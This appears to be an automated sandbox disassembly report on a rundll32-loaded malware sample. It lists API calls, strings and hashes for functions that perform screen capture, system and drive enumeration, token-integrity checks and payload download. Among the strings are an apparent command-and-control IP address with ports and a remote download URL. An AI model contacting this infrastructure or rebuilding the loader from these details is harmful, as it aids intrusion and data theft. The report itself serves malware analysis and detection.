String ID: Flatten polled after completionD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\futures-util-0.3.31\src\future\future\flatten.rs$Map must not be polled after it returned `Poll::Ready`$P$U9W{$authority implies host$cannot poll Select twice$domain is valid Uri$internal error: entered unreachable codeD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\runtime\blocking\schedule.rs$uri host is valid header value
API String ID: 2162964266-2968858985
Opcode ID: 89c07fd8daf8fa2dd9149a52f704617244ee20b63103b2520ec36aebe06c20e3
Instruction ID: 0317d301c40fabf3bec3093f9c03f72e67419c72de84c5b0beba167c027f4d33
Opcode Fuzzy Hash: 89c07fd8daf8fa2dd9149a52f704617244ee20b63103b2520ec36aebe06c20e3
Instruction Fuzzy Hash: 7753AD71908B818FD721CF25C480B9BB7E1FF89314F04896DE8895FB51EB70A949DB92

Function 04DBDE70 Relevance: 61.6, APIs: 24, Strings: 11, Instructions: 354
sleepregistrysynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 04DC04A0: __fassign.LIBCMT ref: 04DC0496

Sleep.KERNEL32(00000000), ref: 04DBDEC4
CloseHandle.KERNEL32(00000000), ref: 04DBDEF1
GetLocalTime.KERNEL32(?), ref: 04DBDF09
wsprintfW.USER32 ref: 04DBDF40
SetUnhandledExceptionFilter.KERNEL32(04DB7530), ref: 04DBDF4E
CloseHandle.KERNEL32(00000000), ref: 04DBDF67

Part of subcall function 04DBF667: _malloc.LIBCMT ref: 04DBF681

EnumWindows.USER32(04DB5C50,?), ref: 04DBE0FD
Sleep.KERNEL32(00004E20,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 04DBE10A
EnumWindows.USER32(04DB5C50,?), ref: 04DBE11E
Sleep.KERNEL32(00000BB8), ref: 04DBE155
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 04DBE1A1
Sleep.KERNEL32(00000FA0), ref: 04DBE224
RegOpenKeyExW.KERNEL32(80000001,Console,00000000,00020019,?), ref: 04DBE24B
RegQueryValueExW.KERNEL32(?,IpDatespecial,00000000,?,00000000,?), ref: 04DBE26B
CloseHandle.KERNEL32(?), ref: 04DBE2BD
Sleep.KERNEL32(000003E8,?,?), ref: 04DBE304
WaitForSingleObject.KERNEL32(?,000000FF,?,?), ref: 04DBE330
CloseHandle.KERNEL32(?,?,?), ref: 04DBE337
Sleep.KERNEL32(000003E8,?,?), ref: 04DBE342
CloseHandle.KERNEL32(?), ref: 04DBE360
WaitForSingleObject.KERNEL32(?,000000FF,?,?), ref: 04DBE385
CloseHandle.KERNEL32(?,?,?), ref: 04DBE38C
Sleep.KERNEL32(00000000,?,?,?), ref: 04DBE3A6
CloseHandle.KERNEL32(?), ref: 04DBE3C4

Strings

7677, xrefs: 04DBDFE8
%4d.%2d.%2d-%2d:%2d:%2d, xrefs: 04DBDF3A
45.204.213.99, xrefs: 04DBDFDB, 04DBE023, 04DBE081, 04DBE145, 04DBE1B3
45.204.213.99, xrefs: 04DBDFD1
45.204.213.99, xrefs: 04DBE077
7699, xrefs: 04DBE08E
7677, xrefs: 04DBDFEF, 04DBE037, 04DBE095, 04DBE12E, 04DBE16C
IpDatespecial, xrefs: 04DBE265
Console, xrefs: 04DBE235
7688, xrefs: 04DBE030
45.204.213.99, xrefs: 04DBE019

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: CloseHandleSleep$EnumObjectSingleWaitWindows$CreateEventExceptionFilterLocalOpenQueryTimeUnhandledValue__fassign_mallocwsprintf
String ID: %4d.%2d.%2d-%2d:%2d:%2d$45.204.213.99$45.204.213.99$45.204.213.99$45.204.213.99$7677$7677$7688$7699$Console$IpDatespecial
API String ID: 1511462596-2426941330
Opcode ID: 9d9c3fffa0c8ba2052c2a5a2833f075f7c45e9591157ab0f0f542bbca049e0c1
Instruction ID: 28378ad821304ca9f1c21356f41fb348e875ce7e72b2edf5724d26c1dc38dfc6
Opcode Fuzzy Hash: 9d9c3fffa0c8ba2052c2a5a2833f075f7c45e9591157ab0f0f542bbca049e0c1
Instruction Fuzzy Hash: 30D1D2B0645341EFD321EF64DC95EAA7BA5FBC9704F000A1CF5969B380DB74A804CBA2

Function 04DBBBF0 Relevance: 54.6, APIs: 27, Strings: 4, Instructions: 351
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDesktopWindow.USER32 ref: 04DBBC0F
GetDC.USER32(00000000), ref: 04DBBC1C
CreateCompatibleDC.GDI32(00000000), ref: 04DBBC22
GetDC.USER32(00000000), ref: 04DBBC2D
GetDeviceCaps.GDI32(00000000,00000008), ref: 04DBBC3A
GetDeviceCaps.GDI32(00000000,00000076), ref: 04DBBC42
ReleaseDC.USER32(00000000,00000000), ref: 04DBBC53
GetSystemMetrics.USER32(0000004E), ref: 04DBBC78
GetSystemMetrics.USER32(0000004F), ref: 04DBBCA6
GetSystemMetrics.USER32(0000004C), ref: 04DBBCF8
GetSystemMetrics.USER32(0000004D), ref: 04DBBD0D
CreateCompatibleBitmap.GDI32(?,?,00000000), ref: 04DBBD26
SelectObject.GDI32(?,00000000), ref: 04DBBD34
SetStretchBltMode.GDI32(?,00000003), ref: 04DBBD40
GetSystemMetrics.USER32(0000004F), ref: 04DBBD4D
GetSystemMetrics.USER32(0000004E), ref: 04DBBD60
StretchBlt.GDI32(?,00000000,00000000,?,00000000,?,?,?,00000000,?,00000000), ref: 04DBBD87
_memset.LIBCMT ref: 04DBBDFA
GetDIBits.GDI32(?,?,00000000,00000000,?,00000028,00000000), ref: 04DBBE17
_memset.LIBCMT ref: 04DBBE2F

Part of subcall function 04DBF667: _malloc.LIBCMT ref: 04DBF681

DeleteObject.GDI32(?), ref: 04DBBEA3
DeleteObject.GDI32(?), ref: 04DBBEAD
ReleaseDC.USER32(00000000,?), ref: 04DBBEB9
DeleteObject.GDI32(?), ref: 04DBBF5F
DeleteObject.GDI32(?), ref: 04DBBF69
ReleaseDC.USER32(00000000,?), ref: 04DBBF75

Strings

gfff, xrefs: 04DBBC90
6, xrefs: 04DBBDE1
(, xrefs: 04DBBDBE
gfff, xrefs: 04DBBCB8

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: MetricsSystem$Object$Delete$Release$CapsCompatibleCreateDeviceStretch_memset$BitmapBitsDesktopModeSelectWindow_malloc
String ID: ($6$gfff$gfff
API String ID: 3293817703-713438465
Opcode ID: 1f0cf5e62dffb0b38b7f3e6b62dc3e33128c1d42c05e771aff72130b3096e617
Instruction ID: c552d341c32e2857f0466319832c9ed6d0c00c9c7ad6a1fbb1a33f4d95b5d448
Opcode Fuzzy Hash: 1f0cf5e62dffb0b38b7f3e6b62dc3e33128c1d42c05e771aff72130b3096e617
Instruction Fuzzy Hash: 56D13AB1E01308EFDB14DFE5E885A9EBBB9FF48700F10452AE546AB340D774A945CBA1

Function 6CBC3942 Relevance: 47.3, APIs: 19, Strings: 7, Instructions: 1806libraryloaderthreadCOMMON

Download Yara Rule

APIs

SetThreadErrorMode.KERNEL32(?,00000000), ref: 6CBC39A8
GetProcAddress.KERNEL32(?,?), ref: 6CBC3A21
GetProcAddress.KERNEL32(?,?), ref: 6CBC3AFB
GetProcAddress.KERNEL32(?,?), ref: 6CBC3BD5

Strings

https://dcttx.com/19/7.txtFailed to download text, xrefs: 6CBC3C62
Failed to download file, xrefs: 6CBC59EC
NtFreeVirtualMemoryFailed to find NtFreeVirtualMemory, xrefs: 6CBC3B81
*/*, xrefs: 6CBC3DFC
NtCreateThreadExFailed to find NtCreateThreadEx, xrefs: 6CBC3AA7
NtAllocateVirtualMemoryFailed to find NtAllocateVirtualMemory, xrefs: 6CBC39CD
charset, xrefs: 6CBC3FF9, 6CBC4070, 6CBC489A

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: AddressProc$ErrorModeThread
String ID: */*$Failed to download file$NtAllocateVirtualMemoryFailed to find NtAllocateVirtualMemory$NtCreateThreadExFailed to find NtCreateThreadEx$NtFreeVirtualMemoryFailed to find NtFreeVirtualMemory$charset$https://dcttx.com/19/7.txtFailed to download text
API String ID: 964953106-2649344374
Opcode ID: 3ead328e1097c77ca52ea4421b05985d7463562bdb754750535ad016d3074646
Instruction ID: d28c573dd20d62a10833e652650c12514e3775a75e8e3f14582f582d101af52b
Opcode Fuzzy Hash: 3ead328e1097c77ca52ea4421b05985d7463562bdb754750535ad016d3074646
Instruction Fuzzy Hash: A2F26A716093819FD724CF29C490BABB7E1EFC9314F10892EE8999BB51DB309949CB53

Function 6CC36D3C Relevance: 37.5, APIs: 19, Strings: 2, Instructions: 738encryptionCOMMON

Download Yara Rule

APIs

CertFreeCertificateContext.CRYPT32(?), ref: 6CC36EDA
CertFreeCertificateContext.CRYPT32 ref: 6CC36EDD
CertGetCertificateChain.CRYPT32(00000000,?,00000000,00000000,?,C0000001,00000000,00000000), ref: 6CC36F7F
CertFreeCertificateContext.CRYPT32 ref: 6CC37026
CertFreeCertificateContext.CRYPT32 ref: 6CC37049
GetLastError.KERNEL32 ref: 6CC3705F
CertFreeCertificateContext.CRYPT32 ref: 6CC37091
CertFreeCertificateChain.CRYPT32(?), ref: 6CC370CA
CertVerifyCertificateChainPolicy.CRYPT32(00000004,?,?,00000010), ref: 6CC37144
CertFreeCertificateContext.CRYPT32(?), ref: 6CC37247
AcceptSecurityContext.SECUR32(?,?,?,0001011C,00000000,?,?,?,00000000), ref: 6CC3743A
InitializeSecurityContextW.SECUR32(?,?,00000000,0009819C,00000000,00000000,?,00000000,00000000,?,?,00000000), ref: 6CC374A9
FreeContextBuffer.SECUR32(?), ref: 6CC374C1
FreeContextBuffer.SECUR32(00000000), ref: 6CC37565
FreeContextBuffer.SECUR32(?), ref: 6CC375F6
CertFreeCertificateChain.CRYPT32(?), ref: 6CC376F2
CertFreeCertificateContext.CRYPT32(?), ref: 6CC376FD

Strings

P(Hu, xrefs: 6CC36ED4, 6CC37026, 6CC37049, 6CC37091, 6CC37247, 6CC376FD
unexpected EOF during handshakeassertion failed: size >= nread, xrefs: 6CC37762

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: ContextFree$CertCertificate$Chain$Buffer$Security$AcceptErrorInitializeLastPolicyVerify
String ID: P(Hu$unexpected EOF during handshakeassertion failed: size >= nread
API String ID: 619209709-78324864
Opcode ID: 7dc3a09448bed33a2d04c64bbe66b069001c8a24368d4c75e1658141c0aa0624
Instruction ID: f8cc430774f914b761b3a88491b565c8acf0f5e10c63c00542d6970d8babe80f
Opcode Fuzzy Hash: 7dc3a09448bed33a2d04c64bbe66b069001c8a24368d4c75e1658141c0aa0624
Instruction Fuzzy Hash: D6629870608751DFD314CF25D580B9ABBF1BF86318F10991DE8998BB81EB74E849CB92

Function 04DB6A00 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 141
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32(00000994), ref: 04DB6A24
wsprintfW.USER32 ref: 04DB6A37

Part of subcall function 04DB68A0: GetCurrentProcessId.KERNEL32(B7FCE562,00000000,00000000,00000994,?,00000000,04DD10DB,000000FF,?,04DB6A43,00000000), ref: 04DB68C8
Part of subcall function 04DB68A0: OpenProcess.KERNEL32(00000400,00000000,00000000,?,00000000,04DD10DB,000000FF,?,04DB6A43,00000000), ref: 04DB68D7
Part of subcall function 04DB68A0: OpenProcessToken.ADVAPI32(00000000,00000008,00000000,?,00000000,04DD10DB,000000FF,?,04DB6A43,00000000), ref: 04DB68F0
Part of subcall function 04DB68A0: CloseHandle.KERNEL32(00000000,?,00000000,04DD10DB,000000FF,?,04DB6A43,00000000), ref: 04DB68FB

_memset.LIBCMT ref: 04DB6A52
GetVersionExW.KERNEL32(?), ref: 04DB6A6B
GetCurrentProcess.KERNEL32(00000008,?), ref: 04DB6AA2
OpenProcessToken.ADVAPI32(00000000), ref: 04DB6AA9
GetTokenInformation.KERNELBASE(?,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 04DB6ACF
GetLastError.KERNEL32 ref: 04DB6AD9
LocalAlloc.KERNEL32(00000040,?), ref: 04DB6AED
GetTokenInformation.KERNELBASE(?,00000019(TokenIntegrityLevel),00000000,?,?), ref: 04DB6B15
GetSidSubAuthorityCount.ADVAPI32 ref: 04DB6B28
GetSidSubAuthority.ADVAPI32(00000000), ref: 04DB6B36
LocalFree.KERNEL32(?), ref: 04DB6B45
CloseHandle.KERNEL32(?), ref: 04DB6B52
wsprintfW.USER32 ref: 04DB6BAB

Strings

NO/, xrefs: 04DB6B6F
-N/, xrefs: 04DB6B7F
None/%s, xrefs: 04DB6B77

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: Process$Token$CurrentOpen$AuthorityCloseHandleInformationLocalwsprintf$AllocCountErrorFreeLastVersion_memset
String ID: -N/$NO/$None/%s
API String ID: 3036438616-3095023699
Opcode ID: 2628c30ef4bc23121bbcd2557f460fbc437b14775b2d5568fede9b60162981c8
Instruction ID: 3c0d97a154b5dcb326ccd2e72e7494f90b5c0fed6203f7ba4d86f1c4fa1dbd29
Opcode Fuzzy Hash: 2628c30ef4bc23121bbcd2557f460fbc437b14775b2d5568fede9b60162981c8
Instruction Fuzzy Hash: C8419371A01214EFDB249F60DC99FEA7778EF09714F0041D9F68A96240DA34ED94CFA6

Function 6CC08469 Relevance: 31.0, APIs: 11, Strings: 8, Instructions: 2540COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,00000098), ref: 6CC08586
memmove.VCRUNTIME140(?,?,00000088), ref: 6CC0860E
memmove.VCRUNTIME140(?,?,00000088,?), ref: 6CC08CD6
memset.VCRUNTIME140(?,000000FF,?), ref: 6CC08DF7

Part of subcall function 6CBC5AD0: RtlFreeHeap.NTDLL(00000000,?,6CC47E44), ref: 6CBC5AE1

memmove.VCRUNTIME140(?,?,00000088), ref: 6CC094CF
memmove.VCRUNTIME140(?,00000000,00000090), ref: 6CC099D5
memmove.VCRUNTIME140(?,?,00000090), ref: 6CC09ADA
memmove.VCRUNTIME140(?,?,000000F0), ref: 6CC09B83
memmove.VCRUNTIME140(?,?,00000138), ref: 6CC0AC2B
memmove.VCRUNTIME140(?,?,00000108), ref: 6CC0AC48

Strings

keep-aliveHTTP/1.1 100 Continueinternal error: entered unreachable code: poll_read_body invalid state: , xrefs: 6CC08624
connection error, xrefs: 6CC0AA28
called `Result::unwrap()` on an `Err` value, xrefs: 6CC0B0FC, 6CC0B10B, 6CC0B145, 6CC0B179, 6CC0B194, 6CC0B1C7, 6CC0C216
internal error: entered unreachable codeD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\runtime\blocking\schedule.rs, xrefs: 6CC0B0AC, 6CC0B0EA, 6CC0C0D4, 6CC0C2A3, 6CC0C340, 6CC0C441
C, xrefs: 6CC087DA
Map must not be polled after it returned `Poll::Ready`, xrefs: 6CC0B00E, 6CC0C232
send stream capacity unexpectedly closedD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\io\util\write_all.rs, xrefs: 6CC0C06D
C, xrefs: 6CC0878B

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memmove$FreeHeapmemset
String ID: C$C$Map must not be polled after it returned `Poll::Ready`$called `Result::unwrap()` on an `Err` value$connection error$internal error: entered unreachable codeD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\runtime\blocking\schedule.rs$keep-aliveHTTP/1.1 100 Continueinternal error: entered unreachable code: poll_read_body invalid state: $send stream capacity unexpectedly closedD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\io\util\write_all.rs
API String ID: 217009222-2210599076
Opcode ID: d2c9536805c1caaf4d7185fd1169156f551da1d9ad0eab45f31f68ef9bfc2618
Instruction ID: 1a6824e64bee8304de0971e87a0111db7fe71ad1ac9be921d50015c3f75ef4e7
Opcode Fuzzy Hash: d2c9536805c1caaf4d7185fd1169156f551da1d9ad0eab45f31f68ef9bfc2618
Instruction Fuzzy Hash: BE434575A087818BD771CF24C4907DFB7E1BFC9308F14891EE8999B641EB71A989CB42

Function 04DB8060 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 114stringCOMMON

Download Yara Rule

APIs

GetLogicalDriveStringsW.KERNEL32(000003E8,?,00000AD4,75BF73E0,00000000), ref: 04DB80A2
lstrcmpiW.KERNEL32(?,A:\), ref: 04DB80D6
lstrcmpiW.KERNEL32(?,B:\), ref: 04DB80E6
QueryDosDeviceW.KERNEL32(?,?,00000064), ref: 04DB8116
lstrlenW.KERNEL32(?), ref: 04DB8127
__wcsnicmp.LIBCMT ref: 04DB813E
lstrcpyW.KERNEL32(00000AD4,?), ref: 04DB8174
lstrcpyW.KERNEL32(?,?), ref: 04DB8198
lstrcatW.KERNEL32(?,00000000), ref: 04DB81A3

Strings

B:\, xrefs: 04DB80E0
A:\, xrefs: 04DB80D0

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: lstrcmpilstrcpy$DeviceDriveLogicalQueryStrings__wcsnicmplstrcatlstrlen
String ID: A:\$B:\
API String ID: 950920757-1009255891
Opcode ID: 58fdfcfa8d41c2fccefa7a6b6b7835fca6e156fa705adfc009f3c2e5ffb3ee08
Instruction ID: ab3de4f92bb7c33fa92bdc77036775b319ec95ae724bcf43c7586ea6a6b25ab2
Opcode Fuzzy Hash: 58fdfcfa8d41c2fccefa7a6b6b7835fca6e156fa705adfc009f3c2e5ffb3ee08
Instruction Fuzzy Hash: B4415671A02218DBDB20EF65DD94AEEB3BCFF44710F0441D9E90AA3240E774AE05DB94

Function 04DB6BE0 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 97COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNEL32(?,75BF73E0,00000000), ref: 04DB6C18
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 04DB6C34
_memset.LIBCMT ref: 04DB6C6B
GlobalMemoryStatusEx.KERNEL32(?), ref: 04DB6C7E
swprintf.LIBCMT ref: 04DB6CC3
swprintf.LIBCMT ref: 04DB6CD6

Strings

%sFree%d Gb , xrefs: 04DB6CCB
:, xrefs: 04DB6C0D
HDD:%d, xrefs: 04DB6CB8
@, xrefs: 04DB6C77

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: swprintf$DiskDriveFreeGlobalMemorySpaceStatusType_memset
String ID: %sFree%d Gb $:$@$HDD:%d
API String ID: 3202570353-3501811827
Opcode ID: be8e0345bb8bfeccb3caa0ee216c8d2960e31492856be17b05d3953bb07272b0
Instruction ID: f76b484f73fc7577b62c921dc78f096a07f2eef8f1d3eaba0c89c20e39878950
Opcode Fuzzy Hash: be8e0345bb8bfeccb3caa0ee216c8d2960e31492856be17b05d3953bb07272b0
Instruction Fuzzy Hash: DA315CB2E0021CABDB14CFE5CC55FEEBBB9FB88700F50421DE906A7240EA746905CB91

Function 6CC1AA6C Relevance: 17.5, APIs: 4, Strings: 7, Instructions: 960COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(00000000,?,00000150), ref: 6CC1B39A
memmove.VCRUNTIME140(?,00000000,00000094,?,6CCB3F94,6CCB3FDC), ref: 6CC1B585
memmove.VCRUNTIME140(?,?,00000094,?,?,?,?,6CCB3F94,6CCB3FDC), ref: 6CC1B5B2
memmove.VCRUNTIME140(?,?,00000094,?,?,?,?,?,?,?,6CCB3F94,6CCB3FDC), ref: 6CC1B5DC

Strings

ALPN upgraded to HTTP/2, xrefs: 6CC1B805
TryFlatten polled after completionD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\futures-util-0.3.31\src\future\try_future\try_flatten.rs, xrefs: 6CC22779
called `Result::unwrap()` on an `Err` value, xrefs: 6CC22905
, xrefs: 6CC1B1A2
internal error: entered unreachable codeD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\runtime\blocking\schedule.rs, xrefs: 6CC22743, 6CC22767
Map must not be polled after it returned `Poll::Ready`, xrefs: 6CC22755
assertion failed: DEFAULT_MAX_FRAME_SIZE <= val && val <= MAX_MAX_FRAME_SIZED:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\h2-0.3.26\src\frame\settings.rs, xrefs: 6CC227AC

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memmove
String ID: $ALPN upgraded to HTTP/2$Map must not be polled after it returned `Poll::Ready`$TryFlatten polled after completionD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\futures-util-0.3.31\src\future\try_future\try_flatten.rs$assertion failed: DEFAULT_MAX_FRAME_SIZE <= val && val <= MAX_MAX_FRAME_SIZED:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\h2-0.3.26\src\frame\settings.rs$called `Result::unwrap()` on an `Err` value$internal error: entered unreachable codeD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\runtime\blocking\schedule.rs
API String ID: 2162964266-4189558408
Opcode ID: a7ae9b6f6cbf898832acb169982e8da54d6f91c7b664a039fe86bf54ccc23e4e
Instruction ID: 697ccaf459c9d38d50f5d62c6f957d63f8faa4aab2993ac404abba0eb36f0326
Opcode Fuzzy Hash: a7ae9b6f6cbf898832acb169982e8da54d6f91c7b664a039fe86bf54ccc23e4e
Instruction Fuzzy Hash: A5928B7560C7818FC325CF29C4907DAB7E1BFC9314F148A6EE5989BB81EB709949CB42

Function 04DB6E60 Relevance: 16.2, APIs: 6, Strings: 3, Instructions: 410COMMON

Download Yara Rule

APIs

CreateDXGIFactory.DXGI(04DD579C,?,B7FCE562,75BF73E0,00000000,00000412), ref: 04DB6ECA
swprintf.LIBCMT ref: 04DB709E
std::_Xinvalid_argument.LIBCPMT ref: 04DB7147

Strings

%s%s %d*%d , xrefs: 04DB72B7
vector<T> too long, xrefs: 04DB7142
%s%s %d %d , xrefs: 04DB7093

Memory Dump Source

Source File: 00000003.00000002.3545390352.0000000004DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DB0000, based on PE: true

Associated: 00000003.00000002.3545390352.0000000004DE4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4db0000_rundll32.jbxd

Similarity

API ID: CreateFactoryXinvalid_argumentstd::_swprintf
String ID: %s%s %d %d $%s%s %d*%d $vector<T> too long
API String ID: 3803070356-257307503
Opcode ID: d89a5aee4d36d88fbc374e2c6bb3784006f711477105325f31350f437b9e750f
Instruction ID: 41a18e2b1ae4a6f2103a953d5bb494419b69534f179e5e3346991e71ab0301aa
Opcode Fuzzy Hash: d89a5aee4d36d88fbc374e2c6bb3784006f711477105325f31350f437b9e750f
Instruction Fuzzy Hash: 6AE14371B01225DFDF24DE64CC90BEEB3B5FB89700F1445A9E95AA7384D630AE818F91

Function 04206530 Relevance: 15.0, APIs: 10, Instructions: 32threadsleepsynchronizationCOMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00006510), ref: 04206535
GetConsoleWindow.KERNEL32(00000000), ref: 0420653D
ShowWindow.USER32(00000000), ref: 04206544
GetCurrentThreadId.KERNEL32 ref: 04206550
PostThreadMessageA.USER32(00000000), ref: 04206557
GetInputState.USER32 ref: 0420655D

Part of subcall function 04205E40: _memset.LIBCMT ref: 04205E71

CreateThread.KERNEL32(00000000,00000000,Function_00006120,00000000,00000000,00000000), ref: 04206577
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 04206585
CloseHandle.KERNEL32(?), ref: 04206591
Sleep.KERNEL32(0000012C), ref: 0420659C

Memory Dump Source

Source File: 00000003.00000002.3543705474.0000000004200000.00000040.00001000.00020000.00000000.sdmp, Offset: 04200000, based on PE: true

Associated: 00000003.00000002.3543705474.000000000421F000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4200000_rundll32.jbxd

Similarity

API ID: Thread$Window$CloseConsoleCreateCurrentExceptionFilterHandleInputMessageObjectPostShowSingleSleepStateUnhandledWait_memset
String ID:
API String ID: 1910205397-0
Opcode ID: 03c1ba969e12ace4f0867b769593c36ce549377d03994c49e401f609ae479601
Instruction ID: 70ed8bd288487de7d729e5b9c7ac20ad2e90b4e61247d439e5149713caed7bfe
Opcode Fuzzy Hash: 03c1ba969e12ace4f0867b769593c36ce549377d03994c49e401f609ae479601
Instruction Fuzzy Hash: 28F06771795200BBE7516FF8FC0EB093A64FBACB02F504590B315DA1E0CEBC68808B65

Function 6CC39CA8 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 1823COMMON

Download Yara Rule

APIs

Part of subcall function 6CC59BE5: CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000000,00000000,?,?,00000001,?,6CC39DB2), ref: 6CC59C14

memmove.VCRUNTIME140(00000000,?,00000138), ref: 6CC3A3D9
memmove.VCRUNTIME140(?,?,00000138), ref: 6CC3A567
memmove.VCRUNTIME140(00000004,?,00000158), ref: 6CC3A606

Strings

=, xrefs: 6CC39D6F
cannot access a Thread Local Storage value during or after destruction/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\std\src\thread\local.rs, xrefs: 6CC3BA20, 6CC3BA94
Failed to `Enter::block_on`, xrefs: 6CC3B953
failed to park thread, xrefs: 6CC3B9EA

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
